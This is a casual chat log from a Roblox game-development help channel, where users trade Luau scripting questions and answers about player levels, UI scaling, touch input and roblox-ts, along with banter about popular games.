from looking at ur code the first thing i would say is to not use "pairs" and use the general iterator

[sour vine]

player:WaitForChild("Level")
player:WaitForChild("XP")

[eager dagger]

nothing it's just not the way ppl code

[austere mulch]

looks fine what is the issue specifically?

[hallow crag]

bro asked a question then dipped lmao

[hallow crag]

talking about this guy

[scenic lotus]

Might need to use i instead of player I think

local function checkPlayerLevel(player)
  local level = player:WaitForChild("Level")
  local xp = player:WaitForChild("XP")

  if level > 10 then
    print("Advanced Player!")
  else
    print("Beginner Player!")
  end

  return level, xp
end

local players = {
  ["player1"] = {
    ["Name"] = "Player1",
    ["Level"] = 15,
    ["XP"] = 2000
  },
  ["player2"] = {
    ["Name"] = "Player2",
    ["Level"] = 8,
    ["XP"] = 500
  },
}

local highLevelPlayers = {}

for i, player in pairs(players) do
  local level, xp = ckeckPlayerLevel(player)

  if level >= 10 then
    table.insert(highLevelPlayers, i)
  end
end

print("High Level Players Count: " .. #highLevelPlayers)

[austere mulch]

is it worth spending 15 hours learning JS & TS for roblox TS?

[scenic lotus]

to count index one or basically amount of player in highLevelPlayers table

[acoustic saffron]

chat should i just start getting into making a small game so i can learn to code better?

[gentle storm]

yes

[zealous lily]

Can anyone help me script a combat system

[austere mulch]

yes

[acoustic saffron]

pretty sure there are a ton of tutorials on ts

[acoustic saffron]

what do u even need javascript and typescript for?

nvm

[austere mulch]

Roblox typescripting

[acoustic saffron]

yeah i saw

is it worth it?

[austere mulch]

I'll have to see for my self

once I'm done learning it

[acoustic saffron]

alright

[reef birch]

Roblox has TS support? Where

[true niche]

we all hate coding

[scenic lotus]

.

[reef birch]

Cool

[austere mulch]

I don't know JS or TS at all so I got this 15 hour course with 150 lectures which should cover everything hopefully

so im praying roblox ts > luau

[reef birch]

I can’t see the video

[austere mulch]

huh

[austere mulch]

just search roblox TS on youtube

https://www.youtube.com/watch?v=lxd2XC0JNRI

@reef birch

[reef birch]

How is this any better

[lilac zinc]

stop using roblox go outside!
(life changing)

[reef birch]

Install like 3 things so you can use a different language that still needs to be compiled by the luau engine so you’re not getting more efficient you’re in the same bottleneck as before

[austere mulch]

speak english

[lilac zinc]

TRUE

[reef birch]

Seems performative/ “I only code in JavaScript because it’s easy “/“I NEED MORE JSON FILES IN MY LIFE”

[austere mulch]

just learn typeshit then

yo someone help me

[cedar flicker]

Dont use offset

use scale

[torpid furnace]

aight ill try

[cedar flicker]

Btw not just for phones

Also good for higher resolutions

[wanton ivy]

can you use module scripts for storing data like enemy data

[torpid furnace]

um can u tell me how to correctly do it

[wanton ivy]

{0, 0}
the second number in the brackets is the proportion

[cedar flicker]

You need to scale everythin

Not just the outer frame

Every item

[lost yoke]

yes

@zealous lily hire through marketplace only

[wanton ivy]

how

[lost yoke]

using tables

[wanton ivy]

{
ModelID = 1;
Name = "TEnemy1";

    --Stats
    KineticA = 5;
    KineticD = 5;
    LaserA = 5;
    LaserD = 5;
    MaxHealth = 5;
    Speed = 30;
    
    PathCosts = {
        Properties = {
            Exclude = {
                "Raised"
            }
        }
        
    }
}

would something like this work or do i need to treat it like a dictionary

[lost yoke]

looks fine

[craggy schooner]

Hey I want to learn scripting in Lua. I know the basics as what they are (while, If, variables) I learned C++ so I know about what everything goes (as in simple) but Idk how to make more complitated things like lava floor that is activated on a button or things like that. What tutorials would help me ?

[idle geode]

Alvinblox tutorials ❤️

[mortal plaza]

yall think its possible to have studio find random users on roblox and base them on follower count?

[tight pewter]

for studio (or your game) to do it, you'd need a proxy http server i think

as for the follower counts idek if you can get that data, especially if users are able to hide it.

[tight pewter]

yup you can get the follower count, here you go.. grabbed this off their website when inspecting the network.

this is how many followers "builderman" has

https://friends.roblox.com/v1/users/156/followers/count

156 being the UserId

[tight pewter]

if youre already decent with C++, you dont really need much other than the roblox API docs

learn the functionality/properties of roblox objects and services.

rest will click

https://create.roblox.com/docs/reference/engine

as for lua, roblox has its own flavor called "luau" and its derived from the 5.1 verison of lua iirc

Suppose we have 3 balls

Red ball 🔴 is a player

⚪ ball is for playing

Blue ball 🔵 is 2nd player

🔴 ⚪ 🔵

The player balls 🔴🔵 can move themselves and kick the white ball ⚪ for it to move

Let's say the the red ball 🔴 kicks the white ball ⚪ which hits the blue ball 🔵

The blue ball moves a bit due to the collision 🔵

Q. How do I avoid the blue ball from moving when it gets hit by white ball but be able to move white ball around - just not move when it gets hit by it?

[grave zenith]

You can’t fix that btw

[undone cairn]

@grave zenith

[grave zenith]

Just do visible = true ?

[undone cairn]

wait what?

[grave zenith]

Just change the buttons visible property

[undone cairn]

how to do that

im sorry im new

[grave zenith]

Wait what

You made a spectate system but you don’t know how to do that

[undone cairn]

yea i followed a youtube video

[undone cairn]

where do i do that?

[grave zenith]

In your script ?

[meager ocean]

guys im selling this game for 1k robux this friday anyone wanna offer more? https://www.roblox.com/games/73479520894750/Steal-A-Brainrot-But-Better

[grave zenith]

No one is going to buy stolen assets

Did you get their authorization for the thumbnail

[undone cairn]

damn bru i dont know how to do that

im really new

[grave zenith]

Then idk either if you don’t know how to code I can’t teach you

[meager ocean]

they are going to buy this friday 1k robux

[hexed cedar]

Just button.Visible = true

[undone cairn]

where in my script

[tight pewter]

or ScreenGUI.enabled = true

[hexed cedar]

What is your script?

[rain hound]

can mouse.Button1Down be triggered by a mobile player tapping their screen?

[tight pewter]

if theyre just in a separate screengui

[grave zenith]

Just send your script @undone cairn it’s faster

[hexed cedar]

I don’t think so

[cyan trellis]

Youre wasting your time with him haha

[rain hound]

ty

[cyan trellis]

is that a function

[meager ocean]

will game.workspace.Button.Visible = true work?

[hexed cedar]

Get out

[cyan trellis]

why is your button in the workspace blud

[meager ocean]

lol im joking around

[grave zenith]

Why wouldn’t it work?

[meager ocean]

im just joking lol

[hexed cedar]

It would

[meager ocean]

chill

[grave zenith]

chill ?

I’m chill bro

[tight pewter]

i dont think so lol, but you can use UserInputService and Enum.UserInputType.Touch for touch events

[blissful turtle]

Your button should be inside a screengui not in workspace

[meager ocean]

its game.startergui.ScreenGui.Button = True ( idk im guessing lol )

[undone cairn]

@grave zenith

[rain hound]

mane ive gotten like 3 diff answers now

which one is it

[grave zenith]

It does work man no need to use complicated logic for a button to be pressed

[tight pewter]

i think some are confusing button.MouseButton1Down

rather than a baseless touch

[hexed cedar]

Ok what do you u want?

[tight pewter]

yeah its not for a button though

[hexed cedar]

Are u meaning if a mobile player touches a screen or a button

[grave zenith]

Oh lol I never know that this one existed

[meager ocean]

would it actually work? game.startergui.ScreenGui.Button = True ( idk im guessing lol )

[hexed cedar]

Cuz there is a difference

[tight pewter]

^

[grave zenith]

Yeah I thought it was mouse button

[hexed cedar]

Which do u want

[rain hound]

i stated tapping their screen earlier

[meager ocean]

Guys would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )

[hexed cedar]

Ok then I don’t think that will work

[cyan trellis]

Can u guys help with my formatting

[undone cairn]

yo bro i sent the script can you help please

[tight pewter]

button.MouseButton1Click works for mobile touches i think.
but mouse.MouseButton1Down does not.

[meager ocean]

Guys would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )

[hexed cedar]

He doesn’t want a button

He wants the screen touch

[grave zenith]

Wait what

I use down and it works

wait

I need to check

[undone cairn]

damn bruh now im getting ignored :I

[meager ocean]

would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )

[tight pewter]

^

[cyan trellis]

Am I on mute

[hexed cedar]

No

[rain hound]

lets say im making a tool that shoots a bullet where ur cursor is going, im asking if mouse.Button1Down would work in tracking where the mobile player taps the screen

[cyan trellis]

Okay good

[tight pewter]

nope

[grave zenith]

Yeah I use mouse click

then idk for mouse down

[hexed cedar]

Dude I don’t work with mobile a lot

[rain hound]

idk why u wouldnt

thats majority of roblox playerbase

[cyan trellis]

UR smart

[hexed cedar]

I make realistic games

And mobile looks dumb on it and runs to slow anyways

[rain hound]

if u dont work with mobile a lot then why try to help with my mobile related issue

[cyan trellis]

Real

[hexed cedar]

5k square terrain map does not do well for mobile

[grave zenith]

If you want money then I don’t recommend to make high quality games

No one will play it

[tight pewter]

anyways @rain hound ^

[rain hound]

yea im using this now

[hexed cedar]

Just go search the documents

[cyan trellis]

Mega real

[rain hound]

i already checked that

[cyan trellis]

People play steal a brainrot

[rain hound]

trust me the last place id ask is always here

[hexed cedar]

I just make games for fun

[tight pewter]

just look at schedule one lol

no replayability, low quality

made 13m USD in first few days

[grave zenith]

If you can get money from your skill don’t worry you will be happy to earn money

[cyan trellis]

It takes 0 skill

i coudlve made grow a garden in a day

just the idea

[grave zenith]

I don’t think so

[tight pewter]

but you didn't do it first

so it wouldn't matter anyway

[cyan trellis]

exactly

[tight pewter]

timing is also a skill

[hexed cedar]

Grow a garden is a day is crazy

In*

[grave zenith]

grow a garden is in 1 week if you’re alone

depends

[cyan trellis]

Not that far fetched

[hexed cedar]

True

[tight pewter]

scripting it in a day maybe

all the assets? nah

[cyan trellis]

Thats what i meant

[grave zenith]

Scripting a day not even

Scripting is 3 days maybe

[eternal apex]

This works y'all trust

[cyan trellis]

Youre so bad

[hexed cedar]

Never open studio again

Jk

[tight pewter]

depending on how complex the UI is, you could easily create a farming-type of system in a couple of hours lol

thats 80% of the game right there

[cyan trellis]

Rofl

[eternal apex]

I can fix with a line of code

[cyan trellis]

But you didnt

[hexed cedar]

What is rofl

😂

[cyan trellis]

rolling on floor laughing

[hexed cedar]

Oh

[grave zenith]

It depends if you want your game to be optimized and easy to setting or coded very badly with bugs everywhere

[hexed cedar]

Ty

[tight pewter]

discord is older than you

[hexed cedar]

It is

Probably

Wait what

No

No

I’m older trust

[grave zenith]

Grow a garden is not optimized I’m pretty sure

[somber vault]

it is

[tight pewter]

never played it tbf

roblox games are cheeks

[cyan trellis]

Its terrible

Real

[grave zenith]

How can u tell that

[somber vault]

no lag

[grave zenith]

I’m pretty sure it’s not

[eternal apex]

its wierd

[cyan trellis]

So were assuming

[eternal apex]

man I spelled that wrong

[grave zenith]

It’s stud based btw so it’s kinda normal

[cyan trellis]

Bro said no lag as proof

[grave zenith]

no complex meshes and stuff

[hexed cedar]

Ima make the new biggest Roblox game

[cyan trellis]

grow a brainrot

[hexed cedar]

Exactly

[grave zenith]

it exists lol

[cyan trellis]

Youre lying Ha

[hexed cedar]

Sadly that would probably do well

[steep blade]

[hexed cedar]

Would

[steep blade]

[hexed cedar]

Ur the one

[cyan trellis]
